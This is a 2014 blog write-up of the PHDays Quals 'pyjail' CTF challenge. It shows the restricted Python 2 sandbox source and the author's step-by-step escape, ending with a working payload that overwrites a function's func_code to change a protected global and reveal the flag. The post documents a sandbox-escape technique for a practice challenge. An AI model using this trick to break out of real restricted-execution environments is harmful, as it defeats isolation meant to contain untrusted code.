January 30, 2014

PHDays 2014 Quals: yet another pyjail writeup

Problem

There is service listening on remote host and service's source:
import re 
import sys 
import string 
from sys import stdout 
sys.stderr = stdout 


sanitize = re.compile( 
    r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)' 
    ).sub 

trusted_builtins = """ 
    True False type int 
    """.split() 


alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}' 

t1 = ''.join(chr(code) for code in xrange(256)) 
t2 = [] 
for i in t1: 
    if i in alphabet: 
        t2.append(i) 
    else: 
        t2.append(' ') 
trans_table = string.maketrans(t1, ''.join(t2)) 

EXPECTED = 13.37 

del alphabet, t1, t2, i, sys, string, re 


def clear_builtins(): 
    orig = __builtins__.__dict__.copy() 
    __builtins__.__dict__.clear() 
    for i in trusted_builtins: 
        __builtins__.__dict__[i] = orig[i] 


part1_of_flag = '******************' 
part2_of_flag = '******************' 
egg = 'egg' 


def main(): 

    if raw_input() != 'leetleetleetleet': 
        return 

    print ('Welcome to pyjail!\n\n' 
           'Try to get the flag!\n' 
           'Use ctrl+D or --- to submit your code\n') 

    stdout.flush() 
     
    code = [] 
    total_bytes = 0 
    while True: 
        try: 
            value = raw_input() 
            total_bytes += len(value) 
            assert total_bytes < 1337 
            if value == '---': 
                break 
            code.append(value) 
        except EOFError: 
            break 
     
    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table)) 
    clear_builtins() 

    def sandbox(): 

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0 

        def exec_in_context(ctx): 
            exec code in ctx 
            print 'Flag is', 
            try: 
                assert FLAG != part1_of_flag 
                print FLAG 
            except: 
                print '********************' 

        def we_must_be_sure_flag_part1_is_ready(): 
            global FLAG 
            FLAG = part1_of_flag 

        def we_must_be_sure_flag_part2_is_ready(): 
            global FLAG 
            FLAG += part2_of_flag 

        def divider(v1): 
             
            a = "You are lucky!" 
            b = "Try again!" 

            def divider(v2): 
                i,t,s,  n,o,t,  s,o,  h,a,r,d 
                if int(v1) / int(v2) == EXPECTED: 
                    print a 
                    we_must_be_sure_flag_part2_is_ready() 
                else: 
                    print b 
            we_must_be_sure_flag_part1_is_ready() 
            return divider 
         
        exec_in_context({'div': divider}) 

    sandbox() 


if __name__ == '__main__': 
    main()

We have to escape from jail. But we can use just 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{} and we can't use __, import, globals, locals, exec, eval, join, format, replace, translate, try, except, with, content, frame, back. I'm newbie at python so it takes many time of me to guess how divider() works (=. First of all we have to post leetleetleetleet to server. Now we can post some code and it will be execd. But globals are not available exclude divider() function that can be called by div(). It returns function that divide two numbers converted to int. So we need to call div(a)(b). If int(a)/int(b)==13.37 (EXPECTED variable) then we will get the flag. But in python result of dividing two int is int. So int(a)/int(b) can not be 13.37 (float)! Ok. Let's try to overload int().
def  int(a):
  return float(a)

div(1337)(100)
---

We haven't access to globals so we can't overload int. Maybe we can change environment variables for function which we call? After a short googling  I  found what I was looking for. With div.func_globals we can change EXPECTED for div() function. But "globals" is restricted word. There is another interesting attribute - func_code. Maybe we can change code of divider()? Let's try to write simple test on localhost.

SOMEVAR = 13.37
def sandbox():
  def myfunc():
    global SOMEVAR
    print SOMEVAR
  def printsomevar():
    global SOMEVAR
    print SOMEVAR
  exec 'printsomevar()\ndef test():\n  global SOMEVAR\n  SOMEVAR=1\ndiv.func_code=test.func_code\ndiv()\nprintsomevar()' in {'div': myfunc, 'printsomevar': printsomevar}

sandbox()

We were given following string to exec:
printsomevar()
def test():
  global SOMEVAR
  SOMEVAR=1
div.func_code=test.func_code
div()
printsomevar()

Result::
13.37
1
Wow! Looks like that's right way! Let's try to post it to server.
a=div.func_code
# this EXPENDEND just have same name as EXTENDED which defined in jail
EXPECTED=12
def test():
  global EXTENDED
  EXTENDED=1
div.func_code=test.func_code
div()
div.func_code=a;
div(1)(1)
Fail. divider() function have 10 freevars, not 0. Ok. Let's fix it.
def sandbox():
  a=b=c=d=e=f=g=h=i=j=0
  p=div.func_code;
  def test():
    global EXPECTED
    EXPECTED=1
    a,b,c,d,e,f,g,h,i,j
  div.func_code=test.func_code
  div()
  div.func_code=p
  div(1)(1)
sandbox()
---
Yohoho! We have escaped from jail! And there is our flag.

No comments:

Post a Comment